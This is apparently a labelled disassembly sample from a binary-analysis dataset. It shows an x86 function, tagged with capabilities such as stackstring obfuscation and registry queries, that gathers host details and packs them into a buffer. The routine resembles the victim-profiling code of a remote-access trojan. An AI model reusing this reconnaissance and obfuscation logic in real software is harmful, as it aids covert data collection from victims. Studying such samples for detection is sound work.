Function at 0x100064c0
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Get graphical window text
Get hostname
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x954
mov eax, dword [0x1001a280]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x560
lea eax, [ebp - 0x910]
push 0
push eax
mov dword [ebp - 0x918], ecx
call fcn.10008b90
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0xc
lea eax, [ebp - 0x914]
push eax
push 1
push 0
lea eax, [ebp - 0x34]
push eax
push connect
mov byte [ebp - 0x910], 0xce
mov dword [ebp - 0x34], 0x44524148
mov dword [ebp - 0x30], 0x45524157
mov dword [ebp - 0x2c], 0x5345445c
mov dword [ebp - 0x28], 0x50495243
mov dword [ebp - 0x24], 0x4e4f4954
mov dword [ebp - 0x20], 0x7379535c
mov dword [ebp - 0x1c], 0x5c6d6574
mov dword [ebp - 0x18], 0x746e6543
mov dword [ebp - 0x14], 0x506c6172
mov dword [ebp - 0x10], 0x65636f72
mov dword [ebp - 0xc], 0x726f7373
mov word [ebp - 8], 0x305c
mov byte [ebp - 6], 0
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
test eax, eax
jne 0x100065dd
lea eax, [ebp - 0x928]
push eax
lea eax, [ebp - 0x920]
push eax
push 0
push 0
push str.MHz
push dword [ebp - 0x914]
mov dword [ebp - 0x928], 4
call edi
push dword [ebp - 0x914]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x954]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push dword [ebp - 0x920]
lea eax, [ebp - 0x90f]
push dword [ebp - 0x940]
push str._d_dMHz
push eax
call ebx
add esp, 0x10
jmp 0x10006608
movq xmm0, qword [0x10015b6c]
mov al, byte [0x10015b7c]
movq qword [ebp - 0x8ef], xmm0
movq xmm0, qword [0x10015b74]
movq qword [ebp - 0x8e7], xmm0
mov byte [ebp - 0x8df], al
lea eax, [ebp - 0x914]
push eax
push 1
push 0
lea eax, [ebp - 0x64]
push eax
push connect
mov dword [ebp - 0x64], 0x44524148
mov dword [ebp - 0x60], 0x45524157
mov dword [ebp - 0x5c], 0x5345445c
mov dword [ebp - 0x58], 0x50495243
mov dword [ebp - 0x54], 0x4e4f4954
mov dword [ebp - 0x50], 0x7379535c
mov dword [ebp - 0x4c], 0x5c6d6574
mov dword [ebp - 0x48], 0x746e6543
mov dword [ebp - 0x44], 0x506c6172
mov dword [ebp - 0x40], 0x65636f72
mov dword [ebp - 0x3c], 0x726f7373
mov dword [ebp - 0x38], 0x305c
call esi
test eax, eax
jne 0x100066fb
push 0x103
push eax
mov byte [ebp - 0x26c], al
lea eax, [ebp - 0x26b]
push eax
mov dword [ebp - 0x924], 0x80
call fcn.10008b90
add esp, 0xc
lea eax, [ebp - 0x924]
push eax
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x930]
push eax
push 0
push str.ProcessorNameString
push dword [ebp - 0x914]
call edi
test eax, eax
jne 0x100066ed
mov ecx, dword [ebp - 0x918]
lea eax, [ebp - 0x26c]
push eax
call fcn.100049e0
lea edx, [ebp - 0x8ef]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
lea eax, [eax + 1]
test cl, cl
jne 0x100066e1
push dword [ebp - 0x914]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x10006726
movq xmm0, qword [0x10015b94]
mov al, byte [0x10015ba4]
movq qword [ebp - 0x8ef], xmm0
movq xmm0, qword [0x10015b9c]
movq qword [ebp - 0x8e7], xmm0
mov byte [ebp - 0x8df], al
lea eax, [ebp - 0x92c]
push eax
lea eax, [ebp - 0x86f]
push eax
mov dword [ebp - 0x92c], 0x32
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x83d]
push eax
call fcn.10004f60
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, 0x31b5d43b
mul esi
mov edi, edx
shr edi, 0x18
mov ecx, edi
imul ecx, ecx, 0xfad9a400
add esi, ecx
mov eax, 0x95217cb1
mul esi
mov ecx, edx
shr ecx, 0x15
mov eax, ecx
imul eax, eax, 0x36ee80
sub esi, eax
mov eax, 0x45e7b273
mul esi
shr edx, 0xe
push edx
push ecx
push edi
lea eax, [ebp - 0x81d]
push 0x10015ba8
push eax
call ebx
add esp, 0x14
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov edi, eax
push 0x75
push edi
call esi
push eax
push 0x76
push edi
call esi
push eax
lea eax, [ebp - 0x7bd]
push str._d___d
push eax
call ebx
add esp, 0x10
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov esi, dword [ebp - 0x918]
lea eax, [ebp - 0x79d]
push dword [esi + 0x14]
push 0x10015bc0
push eax
call ebx
push dword [esi + 0xc]
lea eax, [ebp - 0x739]
push 0x100153e8
push eax
call ebx
add esp, 0x18
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x719]
push 0x10015bd0
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x91c]
push eax
lea eax, [ebp - 0x370]
mov dword [ebp - 0x91c], 0x100
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov al, byte [esi + 0x11]
test al, al
jne 0x1000684a
push 0x10015bd4
jmp 0x10006869
cmp al, 1
jne 0x10006855
push 0x10015be0
jmp 0x10006869
cmp al, 2
jne 0x10006860
push 0x10015bec
jmp 0x10006869
cmp al, 3
jne 0x1000687a
push 0x10015bf4
lea eax, [ebp - 0x619]
push 0x10015bd0
push eax
call ebx
add esp, 0xc
call fcn.10005280
push eax
lea eax, [ebp - 0x5b5]
push 0x10015bd0
push eax
call ebx
movq xmm0, qword [str.CTXOPConntion_Class]
mov eax, dword [0x10015c10]
push 0xf0
mov dword [ebp - 0x158], eax
movq qword [ebp - 0x168], xmm0
movq xmm0, qword [0x10015c08]
lea eax, [ebp - 0x154]
push 0
push eax
movq qword [ebp - 0x160], xmm0
call fcn.10008b90
push 0x103
lea eax, [ebp - 0x26b]
push 0
push eax
mov byte [ebp - 0x26c], 0
call fcn.10008b90
add esp, 0x24
lea eax, [ebp - 0x168]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebx, eax
test ebx, ebx
je 0x10006a40
mov ecx, str.CTXOPConntion_Class
lea eax, [ebp - 0x168]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10006930
test dl, dl
je 0x1000692c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10006930
add eax, 2
add ecx, 2
test dl, dl
jne 0x10006910
xor eax, eax
jmp 0x10006935
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10006a14
push 0x104
lea eax, [ebp - 0x168]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x168]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10006960
sub eax, edx
lea esp, [esp]
dec eax
cmp byte [ebp + eax - 0x168], 0x5f
jne 0x10006970
lea ecx, [ebp - 0x167]
add ecx, eax
lea edx, [ebp - 0x26c]
sub edx, ecx
jmp 0x10006990
mov al, byte [ecx]
mov byte [edx + ecx], al
lea ecx, [ecx + 1]
test al, al
jne 0x10006990
lea ecx, [ebp - 0x4b5]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100069a5
sub ecx, edx
lea edx, [ebp - 0x26c]
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x100069b7
sub edx, esi
lea eax, [ecx + 2]
add eax, edx
cmp eax, 0x100
ja 0x10006a14
lea edx, [ebp - 0x26c]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x100069d4
lea edi, [ebp - 0x4b5]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100069e4
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x4b5]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10006a01
mov ax, word [0x100153e4]
mov word [edi], ax
push 2
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
mov ebx, eax
push 0x104
lea eax, [ebp - 0x168]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetClassNameA]
test ebx, ebx
jne 0x10006902
mov esi, dword [ebp - 0x918]
lea eax, [ebp - 0x3b0]
push eax
mov dword [ebp - 0x3b0], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov edx, dword [ebp - 0x3a8]
mov eax, dword [ebp - 0x3a4]
shrd edx, eax, 0x14
shr eax, 0x14
push 0x560
lea eax, [ebp - 0x910]
push eax
mov ecx, esi
mov dword [ebp - 0x3b4], edx
call fcn.10001df0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008710
mov esp, ebp
pop ebp
ret